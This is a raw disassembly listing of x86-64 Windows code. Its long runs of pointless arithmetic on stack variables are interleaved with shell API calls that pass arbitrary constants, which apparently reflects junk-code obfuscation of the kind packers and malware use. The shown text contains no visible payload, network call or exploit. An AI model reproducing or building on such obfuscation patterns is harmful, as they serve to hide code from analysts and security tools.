mov edx, dword [rsp + 0x6ce8]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14001e466
mov rax, qword [rsp + 0xaa78]
mov rcx, qword [rsp + 0xb6e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfd8], rax
jmp 0x14001e4b0
movzx eax, word [0x14019ef98]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x2a44]
add ecx, edx
cmp eax, ecx
jg 0x14001e4b0
movsx eax, word [rsp + 0x2a50]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1548], ax
jmp 0x14001e773
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e1]
shl eax, cl
movsx ecx, byte [rsp + 0x346]
mov dword [rsp + 0x6cec], ecx
movsx edx, byte [rsp + 0x347]
movzx ecx, dl
mov edx, dword [rsp + 0x6cec]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14001e6ec
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e2]
add eax, ecx
movzx ecx, byte [rsp + 0x3fb]
movzx edx, byte [rsp + 0x2b2]
sub ecx, edx
cmp eax, ecx
jl 0x14001e5e0
movzx eax, word [rsp + 0xcc8]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019ef98], ax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xccf8], rax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [0x14019d018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a2c], ax
movzx eax, word [rsp + 0x2a44]
movzx ecx, word [0x14019ef98]
sar eax, cl
mov rcx, qword [rsp + 0xcfb8]
mov word [rcx], ax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c24]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
jmp 0x14001e6e7
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b60]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcfe0]
mov rdx, qword [rsp + 0xcfe8]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jl 0x14001e63a
mov rax, qword [rsp + 0xaa78]
mov rcx, qword [rsp + 0xb6e0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcef0]
mov qword [rcx], rax
jmp 0x14001e6e7
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xd060], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd060]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xceb8]
mov rdx, qword [rsp + 0xb590]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jge 0x14001e69c
movsx eax, byte [rsp + 0x4e0]
movsx ecx, byte [rsp + 0x4e3]
add eax, ecx
mov byte [rsp + 0x346], al
jmp 0x14001e6e7
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a44]
shl eax, cl
movzx ecx, word [rsp + 0x2a4c]
mov rdx, qword [rsp + 0xcfb8]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x14001e6e7
mov rax, qword [0x14019d008]
mov rcx, qword [rsp + 0xb590]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd048], rax
jmp 0x14001e773
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
or eax, ecx
movsx ecx, word [rsp + 0x2a34]
movsx edx, word [rsp + 0x2a38]
sub ecx, edx
cmp eax, ecx
jge 0x14001e773
movsx eax, word [rsp + 0x1548]
movsx ecx, word [rsp + 0x2a50]
and eax, ecx
mov word [0x14019ef94], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a40], ax
mov rax, qword [rsp + 0xd050]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x6c78]
mov rax, qword [rsp + 0xd050]
mov ecx, dword [rax]
call fcn.14017e790
movzx eax, byte [rsp + 0x4a1]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3fb], al
mov eax, dword [rsp + 0x63c8]
movzx ecx, al
mov eax, dword [rsp + 0x6c94]
sar eax, cl
mov dword [rsp + 0x6c78], eax
cmp dword [rsp + 0x6cd4], 0xf7dd
jbe 0x14001ead4
mov eax, dword [rsp + 0x6cd4]
sub eax, 0x83
mov dword [rsp + 0x6cd4], eax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcac8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa88], rax
mov rax, qword [rsp + 0xcfb0]
mov ecx, dword [rsp + 0x6c24]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xce58]
mov rcx, qword [rsp + 0xb6e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfd8], rax
movsx eax, byte [rsp + 0x4df]
movsx ecx, byte [rsp + 0x362]
add eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x183c]
or eax, ecx
mov word [str.L_nbT], ax
mov rax, qword [rsp + 0xd000]
mov rcx, qword [rsp + 0xcfe0]
mov qword [rsp + 0xd068], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd068]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a44], ax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xced0]
mov word [rcx], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xccf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcec0], rax
mov eax, dword [rsp + 0x6bd0]
mov ecx, dword [0x14019efb0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e1]
or eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov rax, qword [rsp + 0xb6e0]
mov rcx, qword [rsp + 0xcef0]
mov qword [rsp + 0xd070], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd070]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xce58], rax
mov r8d, 0x37
mov rdx, qword [rsp + 0xce40]
mov rcx, qword [rsp + 0xd010]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
movzx eax, word [rsp + 0x2a3c]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a48], ax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019d008], rax
mov rax, qword [rsp + 0xd050]
mov ecx, dword [rsp + 0x6c78]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5938], eax
movzx eax, byte [rsp + 0x4e2]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4a1], al
movsx eax, word [rsp + 0x2a2c]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a48]
add eax, ecx
mov word [rsp + 0x2a44], ax
movsx eax, byte [0x14019ef92]
movsx ecx, byte [rsp + 0x4df]
sar eax, cl
mov byte [rsp + 0x4e0], al
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xce58]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb6e0], rax
mov eax, dword [rsp + 0x6c24]
mov ecx, dword [rsp + 0x6bd0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd058]
mov dword [rcx], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a38], ax
movzx eax, word [str.L_nbT]
movzx ecx, word [rsp + 0x2a44]
shl eax, cl
mov word [0x14019ef98], ax
jmp 0x14001e7a9
mov rax, qword [rsp + 0xd058]
mov ecx, dword [rsp + 0x6bd0]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0xcfb0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x6c24]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14017d406
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov qword [rsp + 0xd078], rax
cmp qword [rsp + 0xd078], 0
je 0x14001eb28
jmp 0x14017d2c3
movzx eax, word [rsp + 0x2a3c]
mov word [rsp + 0x2a60], ax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xceb8]
mov qword [rsp + 0xd080], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd080]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcf80], rax
mov rax, qword [rsp + 0xd048]
mov qword [rsp + 0xd088], rax
mov eax, dword [rsp + 0x5cf0]
mov rcx, qword [rsp + 0xd058]
mov qword [rsp + 0xd090], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd090]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6bd0], eax
movsx eax, byte [0x14019ef91]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4e4], al
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e2]
add eax, ecx
mov byte [rsp + 0x45a], al
lea rax, [rsp + 0x6c94]
mov qword [rsp + 0xd098], rax
mov rax, qword [rsp + 0xcfd8]
mov rcx, qword [rsp + 0xaa78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb6e0], rax
lea rax, [rsp + 0x2a50]
mov qword [0x14019efb8], rax
movzx eax, word [0x14019ef94]
mov word [rsp + 0x2a64], ax
movzx eax, word [rsp + 0x2a44]
movzx ecx, word [rsp + 0x183c]
xor eax, ecx
mov word [rsp + 0x2a48], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a60], ax
mov rax, qword [rsp + 0xaa78]
mov rcx, qword [rsp + 0xcef0]
mov qword [rsp + 0xd0a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd0a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xad08], rax
lea rax, [rsp + 0x4e0]
mov qword [rsp + 0xd0a8], rax
mov eax, dword [rsp + 0x6c24]
movzx ecx, al
mov eax, dword [rsp + 0x6bd0]
shr eax, cl
mov dword [rsp + 0x5cf0], eax
lea rax, [rsp + 0x2a38]
mov qword [rsp + 0xd0b0], rax
movzx eax, word [rsp + 0xcc8]
mov word [rsp + 0x2a68], ax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov qword [0x14019efc0], rax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xceb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd048]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0xcf48]
mov qword [rsp + 0xd0b8], rax
movzx eax, word [rsp + 0x2a54]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a48], ax
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5938]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60c4], eax
lea rax, [rsp + 0x3fb]
mov qword [rsp + 0xd0c0], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e1]
sub eax, ecx
mov byte [rsp + 0x4e0], al
mov rax, qword [rsp + 0xb6e0]
mov qword [rsp + 0xd0c8], rax
lea rax, [rsp + 0x6c24]
mov qword [0x14019efc8], rax
movsx eax, word [rsp + 0x1548]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a34], ax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
sar eax, cl
mov word [rsp + 0x1548], ax
lea rcx, [rsp + 0x1e370]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0xcf98], rax
movzx eax, word [rsp + 0x2a54]
movzx ecx, word [rsp + 0x2a4c]
shl eax, cl
mov word [rsp + 0x1d98], ax
mov rax, qword [rsp + 0xaa88]
mov rcx, qword [rsp + 0x9b60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcec0], rax
lea rax, [rsp + 0x5cf0]
mov qword [rsp + 0xd0d0], rax
movzx eax, byte [rsp + 0x4e0]
mov byte [rsp + 0x4e5], al
mov rax, qword [0x14019d020]
mov rcx, qword [rsp + 0xce58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0c8], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
and eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
lea rax, [rsp + 0xcc8]
mov qword [0x14019efd0], rax
lea rax, [rsp + 0xd088]
mov qword [rsp + 0xd0d8], rax
mov rax, qword [0x14019efd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a3c]
xor eax, ecx
mov word [rsp + 0x2a40], ax
mov rax, qword [rsp + 0xd098]
mov ecx, dword [rsp + 0x6c78]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6450], eax
movzx eax, byte [rsp + 0x3fb]
movzx ecx, byte [rsp + 0x4a1]
or eax, ecx
mov byte [rsp + 0x4e2], al
mov rax, qword [rsp + 0xad08]
mov rcx, qword [rsp + 0xcef0]
mov qword [rsp + 0xd0e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd0e0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xcfd8], rax
mov eax, dword [rsp + 0x6bd0]
mov dword [rsp + 0x6cf0], eax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [0x14019ef91]
shl eax, cl
mov byte [rsp + 0x362], al
mov rax, qword [rsp + 0xced0]
movzx eax, word [rax]
mov word [rsp + 0x2a6c], ax
movzx eax, word [rsp + 0x2a68]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d02c], ax
mov rax, qword [rsp + 0xcf48]
mov rcx, qword [rsp + 0xaa88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xd000]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd048], rax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a6c]
sar eax, cl
mov word [rsp + 0x2760], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a68], ax
lea rax, [rsp + 0xd0c8]
mov qword [rsp + 0xd0e8], rax
movzx eax, byte [rsp + 0x347]
mov byte [rsp + 0x4e6], al
mov eax, dword [rsp + 0x6c24]
movzx ecx, al
mov eax, dword [0x14019efb0]
shl eax, cl
mov dword [rsp + 0x6cf0], eax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc4f8], rax
movzx eax, word [rsp + 0x2a64]
mov word [0x14019efd8], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc8]
and eax, ecx
mov word [rsp + 0x183c], ax
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x60c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x63c8], eax
movzx eax, byte [rsp + 0x45a]
mov byte [rsp + 0x4e7], al
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd000]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b60], rax
mov eax, dword [rsp + 0x5cf0]
mov dword [rsp + 0x6cf4], eax
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcfd8]
shl rax, cl
mov qword [rsp + 0xad08], rax
movsx eax, byte [rsp + 0x362]
mov rcx, qword [rsp + 0xd0a8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4e0], al
movsx eax, word [rsp + 0x2a34]
movsx ecx, word [rsp + 0x1548]
or eax, ecx
mov word [rsp + 0x1810], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc8]
sub eax, ecx
mov word [0x14019ef98], ax
mov rax, qword [rsp + 0xc4f8]
mov rcx, qword [rsp + 0xd048]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov word [rsp + 0x2a70], ax
mov rax, qword [0x14019efb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xcf48]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd0b8], rax
mov edx, 0xb5
lea rcx, [rsp + 0xcf98]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e0]
add eax, ecx
mov byte [rsp + 0x461], al
mov eax, dword [rsp + 0x6cf4]
movzx ecx, al
mov eax, dword [rsp + 0x5cf0]
shl eax, cl
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xad08]
mov qword [rsp + 0xd0f0], rax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a48]
or eax, ecx
mov word [rsp + 0x1d98], ax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
mov qword [0x14019efe0], rax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov byte [rsp + 0x4e8], al
lea rax, [rsp + 0x6c78]
mov qword [rsp + 0xd0f8], rax
mov rax, qword [0x14019efb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
and eax, ecx
mov word [rsp + 0x2a2c], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a44]
xor eax, ecx
mov word [rsp + 0x2a70], ax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0e8]
mov qword [rsp + 0xd100], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd100]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc330], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e0]
sub eax, ecx
mov byte [rsp + 0x461], al
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
mov dword [rsp + 0x6cf8], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a6c]
sar eax, cl
mov rcx, qword [rsp + 0xd0b0]
mov word [rcx], ax
mov ecx, 0x60
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x6cfc], eax
movzx eax, word [rsp + 0x1d98]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019ef98], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0d8]
mov qword [rsp + 0xd108], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd108]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0xd0d8]
mov rcx, qword [rsp + 0xd000]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9d98], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xcec0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcdc8], rax
movzx eax, word [0x14019ef94]
mov word [rsp + 0x2a74], ax
mov eax, dword [rsp + 0x6bd0]
mov ecx, dword [rsp + 0x6cf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5cf0], eax
lea rax, [rsp + 0xd0f0]
mov qword [rsp + 0xd110], rax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
movsx ecx, byte [0x14019ef92]
add eax, ecx
mov byte [rsp + 0x461], al
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov byte [rsp + 0x4e9], al
mov rax, qword [rsp + 0xd0f8]
mov ecx, dword [rsp + 0x60c4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6c78], eax
movsx eax, word [rsp + 0x2a6c]
movsx ecx, word [rsp + 0x2a74]
add eax, ecx
mov word [0x14019d030], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a68]
xor eax, ecx
mov word [rsp + 0x269c], ax
movzx eax, word [rsp + 0x2a60]
movzx ecx, word [rsp + 0x269c]
and eax, ecx
mov word [rsp + 0x183c], ax
mov rax, qword [rsp + 0x9b60]
movzx ecx, al
mov rax, qword [rsp + 0xcf48]
shl rax, cl
mov rcx, qword [rsp + 0xceb8]
mov qword [rcx], rax
lea rax, [rsp + 0x6cf8]
mov qword [rsp + 0xd118], rax
movsx eax, byte [rsp + 0x149]
movsx ecx, byte [0x14019ef91]
sar eax, cl
mov byte [rsp + 0x4e1], al
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov qword [rsp + 0xd120], rax
movsx eax, word [rsp + 0x2a64]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a74], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [0x14019efa0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf84], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov qword [0x14019efe8], rax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a60]
sub eax, ecx
mov word [rsp + 0xcc8], ax
mov rax, qword [rsp + 0xccf8]
movzx ecx, al
mov rax, qword [rsp + 0xcf48]
shl rax, cl
mov qword [rsp + 0xcac8], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov qword [rsp + 0xd128], rax
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5cf0]
shr eax, cl
mov dword [rsp + 0x6cf4], eax
mov rax, qword [rsp + 0xd0e8]
mov rcx, qword [rsp + 0xce58]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa0a8], rax
movzx eax, byte [rsp + 0x4e9]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4e7], al
mov eax, dword [rsp + 0x6450]
imul eax, dword [0x14019efa8]
mov dword [rsp + 0x5918], eax
lea r8, [rsp + 0xcf00]
mov rdx, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xd130]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0xd138], rax
mov rax, qword [rsp + 0xce70]
movzx eax, byte [rax]
mov byte [rsp + 0x4ea], al
movsx eax, word [rsp + 0x2a6c]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019d034], ax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
mov rcx, qword [0x14019efb8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a50], ax
movzx eax, word [rsp + 0x2a60]
mov word [rsp + 0x2a78], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf84], ax
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb6e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd120], rax
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6cf4]
shr eax, cl
mov dword [rsp + 0x5dfc], eax
movsx eax, byte [rsp + 0x346]
movsx ecx, byte [rsp + 0x4e1]
shl eax, cl
mov byte [rsp + 0x362], al
movzx eax, word [rsp + 0x1810]
mov word [rsp + 0x2a7c], ax
movzx eax, word [rsp + 0x2a44]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf84], ax
mov edx, 0xc7
mov rcx, qword [rsp + 0xd140]
call sub.SHELL32.dll_SHTestTokenMembership
mov dword [rsp + 0x6bbc], eax
mov rax, qword [rsp + 0xc4f8]
mov rcx, qword [rsp + 0x9d98]
add rcx, rax
mov rax, rcx
mov qword [0x14019efe8], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xd000]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbd38], rax
mov rax, qword [rsp + 0xd0d8]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbd38], rax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd128]
shl rax, cl
mov qword [rsp + 0xd088], rax
lea rax, [rsp + 0x183c]
mov qword [rsp + 0xd148], rax
lea rax, [rsp + 0x5938]
mov qword [rsp + 0xd150], rax
movzx eax, byte [rsp + 0x4e2]
mov rcx, qword [rsp + 0xd0c0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4e8], al
lea rax, [rsp + 0x4df]
mov qword [rsp + 0xd158], rax
mov eax, dword [rsp + 0x6c24]
mov dword [rsp + 0x6d00], eax
mov rax, qword [rsp + 0xce58]
mov qword [0x14019eff0], rax
movsx eax, word [0x14019efd8]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movsx eax, word [rsp + 0x2a6c]
movsx ecx, word [rsp + 0x2a50]
sub eax, ecx
mov word [rsp + 0x2a64], ax
movzx eax, word [rsp + 0x2a4c]
mov word [rsp + 0x2a80], ax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xd048]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xbd38], rax
mov rax, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xc330]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb650], rax
mov eax, dword [0x14019efb0]
mov ecx, dword [rsp + 0x6c24]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d00], eax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e5]
sar eax, cl
mov byte [rsp + 0x362], al
movzx eax, word [rsp + 0x2a7c]
mov word [rsp + 0x2a84], ax
movzx eax, word [rsp + 0x2a3c]
movzx ecx, word [rsp + 0x2a54]
shl eax, cl
mov word [0x14019ef98], ax
mov rax, qword [rsp + 0xd0d8]
mov rcx, qword [rsp + 0xd088]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcfe8], rax
lea rax, [rsp + 0x2a54]
mov qword [rsp + 0xd160], rax
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
